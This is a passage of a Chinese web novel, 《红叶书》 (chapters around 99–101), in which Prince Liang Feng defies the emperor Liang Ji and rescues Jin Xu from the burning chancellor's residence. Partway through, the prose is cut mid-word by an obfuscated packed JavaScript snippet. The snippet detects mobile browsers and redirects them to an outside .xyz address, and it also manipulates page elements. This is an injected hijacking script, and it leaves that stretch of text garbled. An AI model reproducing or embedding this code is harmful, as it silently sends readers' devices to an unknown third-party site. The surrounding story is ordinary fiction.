梁戟只说:“金延守,比你母亲还重要?” 他闭了嘴,低下头去。 梁戟拂袖,“你好好想想,先下去吧。” 梁风紧咬着牙,待看不见梁戟背影,才吐出一字:“是。” 出了宫,梁风看着街上忙于生计的人们,想着自己能去哪。 日头还早,肚里空空。不想回府,他选了如意酒楼,点了满满一桌午饭,偏甜口的,然后吃完扶着肚子出去。 仔细想了想后,决定去找谢傅。 金延守之后丞相之位就轮到谢傅了,找金丞相的对家,应当能问出些真话。他有好多事情想知道,如果谢傅敌视他,再去别处。 在谢府门口几乎没等,门仆直接引他进入,在堂屋也只坐候了片刻,谢傅就出来了。 谢大人似乎很意外他的到来,言行有些惶恐。 “应和王殿下,您坐,这是本府新进的高山茶,您尝尝。” 仆人奉茶,梁风吹烫喝了一口,称好。 放下茶盏,他直接道:“谢大人,今日早朝游御史提出安内后,为何会有许多大臣谏言游御史?不知游御史从前做过什么?”甚至还有不少的人借游照同来骂梁戟,而梁戟居然没有动怒。 谢傅捋捋须,沉吟问:“王爷知道从前的贺兰将军吗?” “知道。贺兰将军前两年与匈奴对阵时战败身亡。” “朝臣之间都在传,贺兰将军的死或许和游御史有关。”谢傅慢慢道:“陛下若要清除哀帝余臣,应当是不会动游御史的。” “为何?” “是在哀帝即位之初,陛下滞留京城,拒绝赴藩时——哦,那时王爷还小,应当不记得了。” 谢傅压低声音咳嗽,片刻才道:“游大人应是在那时与陛下说成约定,协助陛下在哀帝朝中走动,应当在军营插了人,贺兰将军在战中才受了冷箭。” “约......定?” 梁戟赴藩之前的事情他都不记得了,只隐约听母亲说过,梁戟在去越国之前的确有几年抗旨留在京城,说是尽孝。 “这些事情,之前似乎无人知道,没查过,说不准的,往后估计也不会再查了。” “那......游大人是为何......” 他斟酌着问,谢大人却不说了。梁风也不开口,等了许久,才听谢傅道:“各人有各人的选择,他只是正好想走这条路。” 梁风没听懂,但也没指望任何人说这类事情时能直言讲个明白,再问:“其他侯王对陛下的事情好像不想过多插手,这是为何?” 谢大人想了想,道:“一则是不敢,二则是不愿。” 不敢他能理解,为什么不愿?梁风说:“若是郡国不服陛下,朝廷或许不会动荡......” 谢傅一笑,“若是王爷偏安一隅,还会想着以战谋上吗?”瞅着梁风,道:“边境是否安宁,全靠诸位侯王,陛下也不至于断尽后路。” 哦......梁风没什么好说的,问:“那金丞相呢?哀帝一朝的诸位大臣怎么办?” 谢傅道:“各人有各人的选择,只是正好走了这条路。” 说完,梁风意识到谢傅也是哀帝余党,听谢大人看淡一切的语气,他还有些理解不到。 告辞回了王府,梁风把早朝发生的事情告诉李晟。 “我觉得他应当不会杀我,至少现在他还用得上我。” 李晟闻言看过来。 “我今日早朝看,陛下现在的日子似乎也没多好,他还要天天担心底下的人不安分。” “得到想要的东西,总得付出点代价。”李晟道:“有舍才有得。” “舍......得?” 梁风想,梁戟就舍了很多,也得到了很多,想到他筹谋了好多年,梁风真是心里无言。 晚上,梁风躺在被子里独自思索,金丞相怎么办呢? 金丞相今日说对匈奴以和亲,但陛下对他的孩子们十分宠爱,提出和亲,陛下恐怕不会答应,反而触霉,更招梁戟厌恶了。 梁风翻来覆去,在睡不醒的年纪,却日日睡不着。 隔日再上早朝,朝廷里乱得像市集。 昨天是他新来,大臣们稍稍安分了些,之后似乎是看他少言,再次无所顾忌地吵了起来。 游照同一封弹劾金延守的奏折越过金丞相,直接呈上,震动了百官。 梁风惊骇又纳罕,还有点气,游照同一个御史中丞,那么积极做什么? 水花激起巨浪,大周朝廷开始对金延守发起攻讦,数名官员上折弹劾金党。 罪名各种各样,小到私下生活打碎了一个名碗,大到贪污黄金、通敌卖国、插手军营、构陷贺兰将军等等。 听到通敌卖国,梁风大惊,就见那上折的御史官员跪在殿央,一脸正气凛然,大声道:“陛下,金丞相通敌卖国,与匈奴交易,命人在军中暗杀贺兰将军,致使太和九年幽关一案,两万兵马全军覆没,陛下,金延守按罪当诛!” 金延守闻言十分镇定,不慌不忙拿出前几年从金府调银资助军粮的证据,以证明自己不仅没有暗中与匈奴往来,且若不是金府资助,贺兰将军战败后,也不会有足够后勤支撑崔固带军将匈奴击退。 梁风忙站出道:“陛下,贺兰将军一案,疑点重重,应交由廷尉重审此案!” 说完,一名相府吏员走出同道:“陛下,应和王所言极是,贺兰将军一案,疑点过多,宜交由廷尉重审此案!” 梁戟沉默不语,梁风突然意识到,负责断案的不止是廷尉,还有御史中丞与司隶校尉,而御史中丞游照同未必持身中正,梁风立刻道:“陛下,贺兰将军一案,臣愿为陛下分忧。” 梁戟眸光深深地盯他一眼,未允。梁风不死心,再次用更大音量把话讲了一遍。金延守始终目不斜视,谁都不看。 梁戟怒了,拍案而起,“朕意已决,限时三日,由廷尉重审幽关一案,御史中丞监察,散朝!” 百官便止言行礼。梁风跪在下首,察觉金延守在转身离开时,眼风若有似无地往他身上看了一眼。 梁风往后每日在 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同时,廷尉重审幽关一案受阻,梁戟不得不下令时限延后,梁风这才发现金党势力不容小觑。 他还未想出下一步要如何,后宫内骤然传出一件极其损害皇家颜面的恶劣之事。 梁戟的二公主梁与期竟与侍卫私通,收养面首。 满朝震惊,消息出来就被梁戟强行镇压,却压不住御史接连上折弹劾。 梁风很快反应过来,这是梁与期为避免自己被选去和亲而做出的下下策。他请旨入宫看望母亲时听说了一些,除了梁与期,年仅十三岁的五公主梁与曦也在最近常常出言干涉朝事,说是为父皇分忧。 梁与期是梁戟亲封的和昌公主,若得宠爱,何必行此下策。她们只是希望自己在父皇面前能有点除了和亲之外的用处。 御史疯狂上折,梁风不发一言,这次事件反倒转移了攻击金延守的炮火。 匈奴越逼越紧,哀帝余党蠢蠢欲动,梁风始终注意着哀帝四子的动静,等待梁戟不堪压力而松口的时候。 终于,哀帝四子在长泽以南召集兵力的消息传来,梁风接到了梁戟召他单独入宫的圣旨。 空无一人的天禄阁,只有他二人相对。 高位之上的梁戟显然为近事愁得心力交瘁,面容疲惫不堪。 “我答应你,放过金延守。” 梁风心中一喜,跪下接旨。 他即刻带兵出发,攻去长泽以南。 出征前,他嘱咐敬先为他传报朝廷的动静。敬先一口答应下来。 梁风全力进军,他带兵不多,大部分是越国的兵,心里一边计算对哀帝四子的战略。 经上次太南一战后,他发现军队里鼓声太过混乱,一重叠一重,根本听不清,还是得用军旗。好在这时农民兵都有了作战经验,会留神注意军旗的指挥,本身军旗减少,也难以判断战损。 抵达长泽以南,哀帝四子在河对岸。天气严寒,长泽封冻。他想到了办法,直接派人过河挑衅,哀帝四子当即受衅,发兵欲过河来战。 梁风提前一晚在上游凿开冰面,往水里撒盐,盐水向下冲刷使冰层变薄,而冰层外表却无变化。次日小朝廷军路过湖面时,马蹄一踏,冰面开裂,纷纷坠入湖中。 梁戟命令是杀无赦,梁风便不放过任何一人,抓住逃上岸的敌军斩首,再搭桥直入小朝廷大本营。 哀帝四子不到二十岁,却有勇有谋,在其余大臣得知梁风攻来时尽数逃散的情况下,还能举刀与梁风对阵。梁风也不轻敌,以人数碾压的优势迅雷般捕获敌方全军,生擒哀帝四子。 就在他犹豫是只留下哀帝四子的头颅还是全尸时,敬先送来加急信件。 廷尉重审幽关一案结束,金延守罪名是贪污黄金、通敌卖国,朝廷即将全面清算金党,金延守已下狱一月。 梁风看罢信件,简直难以置信,就像是他出了门,回头发现家被亲信之人偷了。 越是愤怒越是冷静,他吩咐下属留住哀帝四子一命,独自启程回京,心里不断告诉自己是梁戟在逼他坚定,做何事都不是他的错。 他于夜间赶到京城,听说梁戟诛金家九族的旨令就在今日傍晚下达,丞相府已经被士兵包围,派去太南斩杀顾家的人也已经在路上。 梁风握刀佩甲冲入未央宫,惊动守门统领。他挥刀砍倒拦路的人,径直驱马往最高的宫殿驰去。 梁戟一定会在最高处,看金家覆灭。 最高的位置,就是前殿。 身后一堆人马追捕,梁风闯入殿中,正好拦住刚刚得知消息准备逃离的梁戟。 “你答应过我,不动金丞相!” 一连忍了十数日的怒气在这一刻发出,梁风欲上前近身梁戟,遭到旁边太监阻拦。 梁戟神色冷静,低沉道:“阿风,你先卸铠,未央宫携兵器者禁入。” “让开!”梁风一下挥刀,吓退两名太监。 梁戟怒容动了,声音趋厉,“金延守今日已死在牢狱之中,金家其他人也难逃此劫,你如今要为金延守,拿刀指我?!” “你为什么骗我?!”梁风大吼。 这时身后追击的统领带护卫与兵器抵达,迅捷成围,刀尖直指梁风。 “我就那么好骗?!”梁风举刀作势就砍,护卫统领立即挡在梁戟身前,格住梁风刀刃。 “兄友弟恭,我做到了,你呢?!” “我拿你当二哥,你有拿我当十九弟吗?” “我有!”梁戟回吼。 梁风被吼得情绪冷静了一瞬,说道:“那你收回成命,放了金家其他人。” “不可能。”梁戟想都没想道。 “你这时君无戏言了?”他不顾话语中的讥笑,“罔顾人伦之君的兄长死了,我的兄长是不是也该死了?!” “梁风!”梁戟登时大怒,推开挡在身前的护卫统领,夺过首领手中的刀,逼近梁风,“我若放了金家其他人,今日之后,我不会放过你!” 这瞬间,梁风心里彻底冷静下来,再看梁戟此刻看他的眼神,握紧了手里的刀。 “君无戏言,谋反之君非君,你当然有戏言。” 梁戟神情骤裂,当即朝梁风挥刀,他隔挡跳开,扭头不顾一切往殿外冲去。 “抓住他!”梁戟大喊。 众护卫一拥而上,梁风毫不畏惧,以一敌众,手中刀刃无影般地划圈,刀势过处,鲜血四溅,令敌不能近他身半寸。 梁戟震惊。 待梁风将所有护卫击倒,梁戟忍无可忍,目眦欲裂,“我就该让你做个兵,而不是将!” 梁风不再多顾,拎着淌血的赵横刀,飞身跳上屋檐,身影纵跃于夜空之下。 梁戟怒将手中刀抬起,瞄准梁风欲投射出去。 看着梁风毫无防备的后背,与那年他为梁风挡下练武场那支箭时的背影重叠。 哐当—— 梁戟手中的刀最终扔至地面。 100. 《红叶书》(二十) 盛亮的烛火仿佛是最后一刻的辉煌,照亮丞相府所有角落。 活着的人全部首级落地,士兵开始泼油。 清算的最后,是用大火烧死藏在暗处的人。 梁风立于附近屋脊之上,强按下内心的怒火与焦急,思索对策。 肯定有人藏着。 偌大丞相府,一定会有暗道之类,一定还有人没逃出去。 他想救走还活着的人。 可是圣旨已下,不能抗旨,否则即便现在把人救出来,过了今天,梁戟余怒未消,救出的人还是死。 何况救出之后,如何安置? “我若放了金家其他人,今日之后,我不会放过你!” 梁戟的话在脑海里回荡。 他根本不具备救人的可能,如果梁戟会针对他,那么不管他救谁反而会被他牵连。 现在怎么办? 泼油结束,带刀士兵在府中各处丢下火把。 待火势蔓延,士兵撤出相府,扩大府外包围圈,避开火势。 要潜入就趁这时,多犹豫片刻,包围圈增厚,再想潜入就难了。 梁风收刀,跳下屋檐,找准丞相府最矮的一处围墙,等待士兵撤退的间隙。 就在他思考要不要将刀扔出去引走士兵注意时,丞相府面大街的一侧传来喧哗,几名包围的士兵闻声赶去,只留下一人看守。梁风趁机猫腰从其背后偷袭,一刀抹脖,不顾尸体快速翻墙入府。翻越时四肢尽可能展开,避免铠甲碰撞发出声响。 金丞相告诉过他,凡事都有个开端和结尾。 他喜欢偷偷和他说这话的金丞相,但是不喜欢这个结尾。 墙的另一边,一具柔软的尸体给他垫了脚,消去了他落地的声音。 府中四处躺着丫鬟仆从的尸首,鲜血淹了杂草。 他落地在大堂右侧的树丛后,周围几棵矮树已经烧起来,他双臂交叉挡脸冲出火树,欲当先进入大堂,搜索一层是否有明显的暗道入口。 然而大堂门锁了。 士兵放了火后还锁了各个房屋的出入口。 他拔刀,砍碎正在燃烧的窗户,纵身跳入。 大堂内金漆融化,烟还不算浓烈,但温度已经很高,他压低声音喊:“顾夫人!” 这里接近相府大门,他不敢喊太大声。 火已经烧起来,士兵也撤退了,如果没有暗道,藏着的人肯定在此时出来找路逃离,如果有暗道,那倒不用他救了,他只需确认是否有人呼救。 “金诚!” “金诺!” “金絮!” 梁风此刻忍不住深深后悔,金家兄弟转移来京城时应当送去军营的,军中是他的地方,他才有话语权,面对清算的圣旨,至少能拖延片刻。 他当时为什么没想到要护着金家兄弟,梁戟的性子,怎么可能放过金延守。 火势越来越大,黑烟逐渐浓烈,遮蔽视线,呼吸像是在吸砂石。 没有一个声音回应他。 大堂如果没人,那就是后院。 较小的房梁砸下来,梁风头也不回,直往大堂的后门跑,再次砸开窗户跃出。 相府前堂后寝,中间庭院,布局并不复杂,然而金丞相种了太多的花草树木,他一跳出去,迎面就是一个火堆。 来不及停顿,梁风撑地翻滚,侧身抱头滚出火堆,身下碾碎了不知什么花草,火焰燎了他的头发。 轰隆—— 一声巨响。 房屋倒塌的声音,是在后院的方向。他急忙爬起来欲往那处去,爆燃的火球却阻了他的去路。 庭院草木太多,火墙几乎封住了通往后院各处的路。 梁风心里比大火还焦躁,无暇多顾,用力甩刀。刀锋过处,火焰在瞬间被砍断,他立即一跳,淹入火海之中。 隐约记得金丞相提过,院子里有口池水,那地方应当火势较小。可是后院的路他不认得。 他沿着石子路,一边挡火一边往前冲。这两旁不知种的什么树,细碎的火屑特别多,往他头顶落。 他屏住呼吸,黑烟几乎封路,直到鼻端空气蓦然一阔,前面亮光闪现,再跑两步,看见了那片水池。 梁风不犹豫地跳进水里,全身淌了一遍后迅即爬出,接着往后院跑。 后院的火势却异常猛烈,冲天烈焰遮蔽目之所及的半面夜空,像梁戟一般挡住他的前路。 大堂他还能冲进去,后院的火却几乎看不见空隙。 梁风忽然间反应过来,他不应该先查看大堂的,哪个丞相在家里设置暗道会设在大堂这种人来人往的地方! 当然是在后院! 梁风用力一声怒喊,高温蒸腾他的声音,混合对梁戟的不甘与悲愤,尽数喊出。 这时,一道细微的呼救在建筑爆裂声中响起。 他骤顿,循声找去,右侧一间厢房里隐隐能听见哭喊,他迅速跑近,“谁!” 门里面似乎听见了他,拍门声音变大,断续哭喊夹杂听不清的字眼。 “你离远点!”梁风大吼,立刻砍门,先刺一刀,裂了缝再加大力度,直到破开一个洞,他辩出里面的哭喊:“金絮?!” “王爷......” 她还能说完整的话,梁风手下用狠劲,将门扇劈开一半,随即看见她伸出一双焦黑的手。 “王爷......你救娘亲......” 金絮声音嘶哑,抓住他的手臂,另只手指向房间里面,拉着他欲往里拖。 她拉不动,掌心在他臂甲上留下了几点沾血的糊肉。梁风反抓住她往外一扯,金絮就被他扯了出来。 “我去救,你先出来,躲远点!” 梁风弯腰就往屋子里去,房里黑烟尚未浓得模糊视线,高温像针一样刺来,呼吸困难。 进到内间一眼就看见趴在地上的顾南蕴。 梁风脚步霎时顿住。 顾南蕴脸侧向门口,身上压着一个燃烧的木柜,柜子上还有一截房梁,火焰已经烧到了她的头皮。 她还没死,看见梁风有了反应,但说不出话。 “王爷!” 梁风一扭头,竟见金絮跑了回来。 “你去救她,快去救她!”金絮抓着他扯向顾南蕴。 梁风心里一紧,大步跨过去往顾南蕴身上的柜子猛砍。木柜纹丝不动,柜子上的房梁被震得一抖。 顾南蕴动了眼睛,眼球干得没有丝毫水分,燎着火焰的手背一点点移向梁风的脚,“带她走......” 金絮嘶心哭喊着欲再去推那着火的木柜,梁风眼疾手快拦住,阻止金絮靠近,另只手全力挥刀,她撕心裂肺的声音一下一下打击他的心脏。 顾南蕴在这时忽然双眼大亮,飞快抬起手臂,抓住他的刀刃,闪电般往脖子上一割,绝了金絮念想。 鲜血四溅,几乎燃满火焰的身躯彻底躺到地上。 金絮一声惨叫,梁风立即扔刀抱住她,双臂几乎箍不住。她力气不小,拳头、肘部胡乱地击打梁风,厉声叫喊着并用四肢想脱出去。 四溅的鲜血被火点燃,梁风再让她看了顾南蕴最后一眼,以手刀用力将她劈晕。金絮呜咽一声,高温蒸干了眼泪,双眼久久才闭上。 梁风拖着她往外面走,出去后立刻抱住她跳入池水中一浸,弄湿全身。 周围火光明明更大,视野中却越来越黑。 梁风找准庭院火势较小且有垫脚的一侧围墙,先将她放下。他穿的是铠甲,面料不多,只能撕开她的裙子,绑住她的双腕固定在脖子处,再将她曲成一团,拢住她的腰背和小腿,数步助跑凝聚力量于足下,用力一跳,迎面向火墙撞去。 火焰在眼中放大,双眼下意识闭上,仍能看见一片红光,高温瞬间裹挟全身。 梁风双手拢紧金絮,怕她被火焰燎到,脚底但凡踩到一个东西就借力一跳,直到脚底碰到围墙,梁风尽全力猛地前冲,突破了火墙。 铠甲砸地的声响窜了半条街。 梁风立即低头,确认自己和她身上都没着火,再绷紧神经抬头察看前后街口。 隔着墙,盛大的火光照亮了相府周围一圈的民屋,温度仍很灼热。 他留神细听一会儿,没见到被惊动的卫兵,入耳只有大火燃烧的声响。 确认无人,她身上也看不出明显外伤,梁风迅速跑起来,搜寻最合适暂时安置她的地方。 包围相府的卫兵最多只隔一条街,绕过街角就能看见。 放火之前,卫兵已经提前安排居民撤离,民屋都是空的,大火会持续整夜,火熄后还得等黑烟散去,附近居民至少要到明日午后才会回来。 可以先将她藏在某间宅院里。 院内不能有狗,还得是包围最松懈、离王府最近的方向。 梁风跑了一圈,在相府西北角的位置找到一间民屋,屋子背面不靠街,与其他民屋相连,他可以通过相连的屋脊回到王府。 身上衣服都是湿的,烧伤也没处理,怕她受风着凉,焦急之下梁风直接跳越墙头,悄无声息落入院中。 私闯民宅令他有些心虚,维持下落后的姿势扫视周围,压低呼吸,屋内没有点灯,见院子角落有一堆人高的柴垛,便先将她靠着柴垛放下,再去屋子外查看一圈,确定屋内无人,门都是锁的。 梁风在柴垛中辟开一个洞,把她藏进去,再将洞口遮一遮,远远看去就只是一堆木柴,看不见她。 保证没问题后,他喘了口气准备先离开,走时再回头看她一眼,反复确认后才翻出院墙。 还未绕过街口,脚底感到了极轻微的震动,像是马蹄,但数量很少,梁风怀疑是梁戟追着他下的圣旨到了,他再飞身跳上屋脊,首先看见了街外包围成圈的士兵。 那些士兵很快也发现了他,负责此次清算的士兵首领闻声走了过来,站在街边抬头看到梁风,大声喊:“不知应和王为何深夜在此?” 梁风不应,目光牢牢盯着不远处通向皇宫的大街上骑来的一人一马,星月与火焰的光芒下,嗓子眼里又痛又干,他看见那人手中的圣旨。 太监勒马,也看见了梁风,展开圣旨,高声喊道:“罪臣金延守,诛其九族,以儆效尤,任何人不得干涉!” 尖细的声音借着夜风吹来,梁风听得清清楚楚,他抬起头,看向隐没在黑夜深处的皇宫,仿佛看见了前殿之上默默注视着这场大火的梁戟。 他猛地一跳,落在那太监面前,被大火烤得焦干的眼球盯着这个梁戟身边的亲信。 太监似乎被他吓到,指尖过于用力,捏得圣旨都皱起来,但还是更提高了声音再喊:“丞相府人口全部登记在册,一个都逃不了!” 刚才穿过火焰的高温仿佛从身体内部燃烧起来,烧尽他每一根头发丝,梁风盛怒下夺过旁边卫兵的刀,电光火石间劈向了太监手中的圣旨。 比大火还要金灿灿的圣旨裂成两半。 太监吓得发出一声尖细的惊叫,摔倒在地。 梁风刀指太监,“我干涉了,如何?” “你......你,大胆!” 尖细的声音颤抖着。梁风用力一甩刀,刀刃在地面弹起了几点火星,太监手脚一抖,咽下了想说的话。 头顶的烧伤流下一道血痕,梁风目光落向那半道圣旨,太监眼疾手快地将两片圣旨抱入怀中,仿佛从那金灿灿的布帛中汲取了力量,朝梁风卖力宣扬道:“圣上有令,应和王若抗旨不遵,即刻逮捕入狱!” 双臂勒得过紧,圣旨上的龙纹扭曲变形。 梁风想起自己曾经的力量也是来源于别人。 “他要抓我?” 梁风忽地问,继而又面无表情地提醒太监:“哀帝四子还没死。” 太监抱着圣旨像抱着命根子,护食地盯着他。 “你去告诉皇帝,小朝廷还没死。” 梁风说完,头也不回地跳着屋脊走了。 火焰的高温扩散范围很大,夜风都是暖的,背着火光,前方成片的屋脊像是覆了夕阳。 他心脏跳得十分快,想到那两半圣旨,还是停下回了头。从此处看去,火光遮挡,瞧不见未央宫的轮廓。 城防军逡巡,整齐的脚步声荡在夜空之下。 他一咬牙,用力踏着瓦片,奔回王府,几条街道上的城防军应当注意到了他的身影。 接近子时,王府内,游仅廊檐下挂着几盏烛火。下人们都睡了。 梁风直接落入下人们居住的院子。 他这王府,其实也就不到三十个人。除了李晟,下人全住在一个院子里。 这样正好,不用他一个个赶了。 两栋相对的矮楼,中间摆了盆植的花花草草,还有一棵可三人合抱的大树。 那棵树是他专门买了放在这里遮阳的。 因为左面的楼方位不好,向阳,夏日里会很晒。 梁风拿起一盆花就往树干上砸。 “砰!” 声音清脆响亮又刺耳,被两座矮楼一夹,回荡许久。 他砸了一个又一个,砸到下人们纷纷被吵醒,走至屋外探头看。 李晟慌张出来,随意拢着衣物,一眼看见满身焦黑的梁风。 “王爷?” 下楼的声音层层响起,手边无盆可砸,他碾碎脚底的泥土,扫视着聚到身边的人群。 仆人们跪了一片。 这里面的人,有从越国跟过来的,有哀帝指给他的,甚至还有从前在淮南王府时就陪在他身边的。 好聚好散不行吗。 对于这些人,他说不清楚是喜欢还是不喜欢。他们见证他这些年去了哪些地方。如果没了,他这王府彻底空了。 “王爷。” 李晟没有跪,披头散发地站着看他。 这些人手脚不干净的,老李不住劝,他一边应,一边睁一只眼闭一只眼。 他知道自己在下人面前没什么威信,这些年如果不是老李,他说出去的话根本不会有人听。 “王爷......” 月光下,梁风双眼模糊地明亮。 “您伤着了,我给您包扎。” “让他们走,我不要他们了。” 李晟一愣,缓缓走近他,轻轻问:“王爷决定好了吗?” “我决定好了。”梁风抓住老李的手臂,指下暗含不留后路的催促,“他们都不是我的,让他们走。” 李晟看着梁风双眼,抿住了嘴,环视一圈周围的人,最后平静地点头。 下人们纷纷抬起头看梁风。 梁风却看见了不远处,拢手静静回视他的一位太监。太监无须的面容比一地月光还白。 是上次和母亲一起来的太监,是梁戟亲信。 刚才割裂的圣旨仿佛出现在眼前,梁风朝那人大喊:“滚!” 老李吓了一跳,停下来看向梁风。 那太监神色不动,低头行了一礼,转身走了。 下人们也被赶走了,走时哭天喊地。 这个时候出府,只会被城防军抓走,第二日一早变成军报呈到他案上。 梁风不顾哭喊,大步迈入屋内,胡乱用力扯下铠甲,内里的衬衣还是湿的,他翻出一套夜行衣直接穿上,再撕碎一件衣裳,用碎布绑住肩腰和膝盖,遮住易辨别身形的关节,最后用黑布蒙住头脸。 他勒紧腰带,拿了件黑色斗篷,一扭头,正对上门边李晟的目光。 他忽然定了神,缓缓喘出一口气,看着老李轻声道:“我回来前,不要让任何人进府。” 李晟点了点头,没有说什么。梁风越过老李,飞身融入夜空中。 这次再去就不能那么明目张胆了。他避开城防军,避开月光,潜走于阴影覆盖下。 相府大火被黑烟遮挡,火光不甚浓烈,但他还是不敢在屋顶跳跃,怕被人发现,只能沿着民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839835|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋翻.墙。 很快找到藏着金絮的那间宅院,屋子和巷子围墙贴得过密,他不能挤进,唯有从房顶翻过去。 梁风压低身体,抱着斗篷,小心翼翼爬上屋脊,确定没有被清算的卫兵发现,低头看见了院子角落的那堆柴垛。 一眼就发现不对劲,树枝的架构松了些,柴垛被动过了。 他头皮一紧,手脚不受控地迅速翻去,脚底踩得瓦片一响,随即看到柴垛旁站着个十几岁的小孩。 小孩浑身很脏,个子跟金絮差不多,头发乱七八糟的一团,双手正在柴垛里拉扯,金絮露出了半个身子,那小孩似乎是想把金絮拉出来。 梁风立刻飞身起跳,没控力度地落在地上,嗒的一声。 那小孩被他的声响吓了一大跳,从肩颈到双手猛地一缩,满脸惊恐地扭头看向他。 原来是个姑娘。他松了口气,压住脚步的动静,快速走近。 金絮尚在昏迷,没有要醒的迹象。倒是那小姑娘,见他走近后退了一步,警惕地看着他,又看看金絮。 梁风扒开柴垛,扶起金絮,她脸色白了很多,浑身很凉,衣服还是湿的。 梁风将她蜷起,再用斗篷整个包住,一边动作一边压低了声音道:“她是我认识的人,我马上带她离开,你是住在这里吗?” 小姑娘看着他不说话,杂草般的头发遮着一双清澈的眼睛。 他尽力放缓语气道:“抱歉,深夜打扰,这个给你。”他扯下斗篷的两条系带,系带的一端缀了指甲盖大小的黑翡翠,看着她说:“你今天见到她的事情,能不能不要说出去?” 小姑娘神情有些瑟缩不解,但是伸手接了系带。 梁风抱起金絮,准备离开,但又不放心这个小姑娘,如果明天卫兵发现相府人口缺数,会不会搜查附近居民,会不会从这个小孩嘴里套出金絮的下落...... 不等他想更多,小姑娘抬着头,突然小声道:“你会欺负她吗?” 梁风眉头一皱,片刻才明白她说的“她”是谁,正欲开口,那小姑娘又突然坚定道:“我不会说。” 梁风再看了她一眼,收紧双臂,没时间多犹豫,只能一点头,“多谢。”然后纵身跳上屋脊。 怀里抱了金絮,瓦片动静大了些。他尽可能压低身体,寻找守卫最松懈的地方。 环视一周,没看见卫兵,趁浓云遮月时,梁风几个起跳,悄无声息地离开了丞相府一带。 一路无人注意到他。 回到王府时,府内没有点灯。 梁风落地,在竹苑门口看见了等候着他的一点光亮。 李晟坐守在门前,举着一盏灯笼。 看见他怀里抱着的一团人形,老李站了起来。 梁风径直入内间,在榻上放下金絮,打开斗篷,房内微弱的烛光照亮金絮不安稳的睡容。 从收到敬先消息后一直悬着的心这时突然放下,他双腿发软,气息有些不稳,离开床边,坐到房内另一侧的短塌,扯下遮面的黑布,不敢再看金絮。 李晟没向金絮多看眼,在梁风身旁点多根蜡烛,照亮他周身,然后仔细查看他头顶的烧伤。 老李指尖动作很轻,他有点恍惚,微微抬起头,看见李晟的胡须。 “老李......”话一出口,声音发了虚,他住了嘴。 “王爷,疼吗?” 他摇头,但是此刻平静下来,浇心的怒火燃过去,才后知后觉感到身体各处疼得无法忽视。 “王爷,怎么把自己弄成这样?”李晟轻轻问:“您何时回朝了?” 心里的委屈被抚慰的嗓音放大,梁风仰着脸,抓住老李的袖子,“他又骗我......” “谁?” 梁风声音带了颤抖,“他和我保证不会杀金丞相,可是他杀了......” 委屈顺着手掌传递给李晟,他还想说更多,李晟听了却沉默着一点点收了手。 梁风无意识捏紧空下来的掌心,愣愣地看着老李。 “所以您今夜便闯入丞相府,救了金姑娘?您不惜性命,闯入大火之中,救了金姑娘?” 他坐着,李晟站着,老李脸上少见的严肃令他心底一空。 “明日天亮,会有卫兵来抓金姑娘吗?” 梁风张嘴欲语,李晟紧接着道:“您生陛下的气,与陛下发火便是,为什么要闯入火场?” “陛下想杀的只有金大人吗?你救得了所有人吗?”李晟目光竟然平静,“你若是想救所有人,陛下第一个杀的就是你。” 略带诘问的语气甚至有些咄咄的意味,梁风心底抑不住地涌起不可思议,看着与老李相距的天涯般的一步。 “如果陛下想除掉您,您保得全自己吗?您又为何要救她?” 李晟道:“王爷,您这次冲动了。” 不可思议化针,扎进他眼里,眼泪模糊且柔化了李晟看他的眼神。 “那我难道不救她吗?” “我看见她还活着,我难道不救吗?” “她会死在大火里!她会被烧死!为什么不救!” 老李情绪毫无波动,神色平和地听他呐喊。 心里又产生了以前那种无人听他说话的感觉,梁风紧紧皱眉,声音一狠,“我就是想救她。”然后撇头盯着角落,不再说话。 李晟注视着他,缓缓道:“王爷,您想借此向陛下示威?” 梁风全身僵住。 “您借以去相府救人的举动作为反叛陛下的态度?” 双眼更僵,他看见眼前一片发亮的银。 窗边有月光照进来,白瘆瘆的颜色赶走了烛火。 “王爷,一朝天子一朝臣,历代如此。” 梁风收腿上榻,双手抱着小腿,背对李晟,盯着月光。 房内静了数息。 月亮的光幕仿佛游动起来,像是一块纱布飘于水面。 梁风视线慢慢下垂,落到自己膝盖上。 “她身上还是湿的,要不要叫大夫?”李晟突然道。 梁风一愣,纱布停止飘动,他慢慢松了手指,松开双手,扭头看了一眼床榻。 老李解了金絮绑着手腕和脖子的碎布,正在查看她双手的烧伤。 她应试图用双手推开压在顾南蕴身上的火柜,后来又拍门呼救,烧伤非常严重。 梁风下榻,凑到金絮跟前细看,她脸色更白了,头发和衣服都有细微被火燎过的痕迹,衣服还是湿的,但是看起来没有别的伤痕。 梁风拿手背试了一下她手指的温,很凉,抑不住问:“会不会生病啊?” 李晟寻来小刀,割掉金絮手腕处沾着焦肉的一圈袖口,“我去煮碗姜汤来喂她饮下吧。” 梁风想了想道:“宵禁解除后再去找大夫。” 他也烧伤了,叫大夫名正言顺,不会让人起疑,但是不能找女大夫了,而且衣服要怎么换......府里此时除了他和老李,没别人了。 “买几个丫鬟来吧。” 李晟轻轻摇头,“丫鬟最好只买一个,多买几个小厮。府里没有女主人,丫鬟多了容易招疑。” 梁风点点头,片刻又道:“找那些......干净的,不用很机灵。” 李晟应声:“是。”起身向外走去。 梁风看了看老李,欲言再止,看来看去,最后收回视线,给金絮盖好被子。 李晟走了几步停下,回身问:“王爷,如果明日卫兵搜上门,把她交出去吗?” 他手中动作一顿,嘴唇嗡动,半晌吐出两字:“不交。” 然后过了很久,李晟再次迈步出屋时,梁风补道:“他不会杀我。” 李晟也再次停了,默了又默,才道:“王爷,不管发生什么,我一直陪着您。” 眼泪瞬间夺眶而出,模糊了李晟始终恭敬的话语。 烛火盛明起来,窗外的天空不知何时才会亮。 101. 《红叶书》(二一) 姜汤喂下去不管用,天快亮时,金絮发起了烧。 梁风心里逐渐焦躁,坐在院子中,睁着眼看天空,等待天亮。 他思考自己该拿什么态度对待皇帝,如果卫兵发现了金絮,他该怎么做? 他不想交,他怎么可能把金絮交出去。 该怎么办? 